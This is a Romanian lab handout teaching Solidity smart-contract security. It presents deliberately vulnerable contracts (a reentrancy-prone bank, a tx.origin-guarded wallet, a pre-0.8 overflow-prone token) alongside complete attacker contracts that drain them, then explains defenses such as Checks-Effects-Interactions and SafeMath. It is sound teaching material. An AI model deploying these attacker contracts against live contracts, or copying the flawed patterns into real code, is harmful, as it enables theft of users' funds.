Laborator 9
Tematica laboratorului: Solidity - securitate si prezentari articole
Atacuri reentrante
Un atac de tip reentrant se refera de regula la posibilitatea de a re-executa un apel de functie ca urmare a aceluiasi apel de functie, cu efecte negative asupra starii contractului. Astfel de atacuri sunt favorizate in particular de apeluri de functii executate low-level - prin intermediul "call()" sau "delegatecall()", datorita lipsei implicite a setarii unei limite de gas ce ar preveni o re-executie in cascada a functiei apelate. Redam in cele ce urmeaza un exemplu de contract vulnerabil la un atac de tip reentrant, urmat de un alt contract ce exploateaza aceasta posibilitate.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract EthBank {
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds () public {
// check if sender balance permits withdrawal
require(balances[msg.sender] > 0);
// limit withdrawal interval
require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 days);
// transfer withdrawn amount
(bool success,) = msg.sender.call{value: balances[msg.sender]}("");
require(success);
// update sender operations status
balances[msg.sender] = 0;
lastWithdrawTime[msg.sender] = block.timestamp;
}
function getBalance() public view returns(uint256) {
return address(this).balance;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./EthBank.sol";
contract AttackBank {
address payable owner;
EthBank public target;
constructor () {
owner = payable(msg.sender);
}
modifier onlyOwner() {
require (msg.sender == owner);
_;
}
function setBankAddress(address bankAddress) public {
target = EthBank(bankAddress);
}
function attackBank() public payable {
require(msg.value >= 1 ether);
target.depositFunds{value: 1 ether}();
target.withdrawFunds();
}
function collectFunds() public onlyOwner {
owner.transfer(address(this).balance);
}
receive () external payable {
if (address(target).balance >= 1 ether) {
target.withdrawFunds();
}
}
function getBalance() public view returns(uint256) {
return address(this).balance;
}
}
Executia functiei "attackBank()" va declansa un apel re-entrant al functiei "withdrawFunds()". Acesta va trece de primele verificari, iar la apelul "call" ce are ca scop transferul catre contractul apelant, se va executa functia receive ce re-executa "withdrawFunds()". Aceasta re-executie are loc pana ce balanta contractului atacat scade sub 1 ether, moment in care conditia din functia receive a contractului atacator nu va mai fi valida. Oprirea re-entrarii e esentiala pentru atacator, altfel tranzactia formata din apelurile re-entrante ar esua cand fondurile contractului atacat s-ar termina.
Exista mai multe modalitati de preventie ale acestei situatii, dupa cum urmeaza:
- folosirea functiei "transfer()" in loc de "call()" ce seteaza implicit o limita nemodificabila de 2300 gas pentru costurile executiei codului din functia receive (practic doar emiterea unui eveniment)
- actualizarea statusului operatiunilor legate de sender inainte de comunicarea cu alt contract, ce nu ar mai permite verificarea pozitiva a conditiilor din startul functiei "withdrawFunds()" la o eventuala re-entrare (asa numitul "Checks-Effects-Interaction" pattern)
- folosirea unei variabile similare unui mutex ce ar nega o tentativa de re-entrare in functie inainte de finalizarea executiei acesteia
Atacuri bazate pe exploatarea tx.origin
Acest tip de atacuri este bazat pe exploatarea unor verificari facute in contractul victima pentru a identifica originea initiala a tranzactiei (tx.origin) drept o adresa cu permisiuni, in locul ultimei adrese din calea tranzactiei spre contractul victima (msg.sender). In exemplele de mai jos atacatorul profita de un transfer spre propriul contract pentru a reapela in receive in continuarea aceleiasi tranzactii functia transferTo din contractul victima, avand aceeasi adresa de origine (a apelantului initial) si astfel devalizand balanta integrala a victimei.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract TxOriginVictim {
address owner;
constructor () {
owner = msg.sender;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
function sendTo() public payable {
}
function transferTo(address to, uint amount) payable external {
require (tx.origin == owner);
(bool success, ) = to.call{value: amount}("");
require(success);
}
receive() payable external {
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface TxOriginVictim {
function transferTo(address to, uint amount) external;
}
contract TxOriginAttacker {
address owner;
constructor () {
owner = msg.sender;
}
receive() payable external {
TxOriginVictim(msg.sender).transferTo(owner, msg.sender.balance);
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
Atacuri bazate pe depasiri de domenii
Pana la versiunea 0.8 a limbajului Solidity anumite atacuri exploatau tipurile de date definite in contract, prin tentative de depasire ale domeniilor de definitie ale acestora. Orice iesire din domeniul unui tip era reprezentata prin diferenta tot in domeniul tipului cauzand posibile efecte nedorite (ex. incercarea de stocare a unei valori mai mari decat 2^8 in uint8, avea ca efect stocarea diferentei in plus a acesteia in cadrul uint8). Aceasta problema a fost corectata odata cu trecerea la versiunea 0.8 a Solidity, dupa care se realizeaza verificari automate pentru detectia depasirilor de tipuri. Un exemplu de contract vulnerabil e urmatorul:
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor (uint _initialSupply) {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
La incercarea transferului unei sume mai mari ca balanta apelantului, diferenta din prima verificare va fi tot pozitiva, tipul de date fiind pozitiv. Mai mult, actualizarea balantei va rezulta in una mai mare ca balanta initiala. Una din solutiile frecvent utilizate inainte de versiunea 0.8 a limbajului Solidity a constat in utilizarea in locul operatiilor aritmetice obisnuite de operatii puse la dispozitie de o librarie sigura - un exemplu oferit de OpenZepellin e descris mai jos:
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // This holds in all cases
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
using SafeMath for uint;
mapping(address => uint) balances;
uint public totalSupply;
constructor (uint _initialSupply) {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender].sub(_value) >= 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}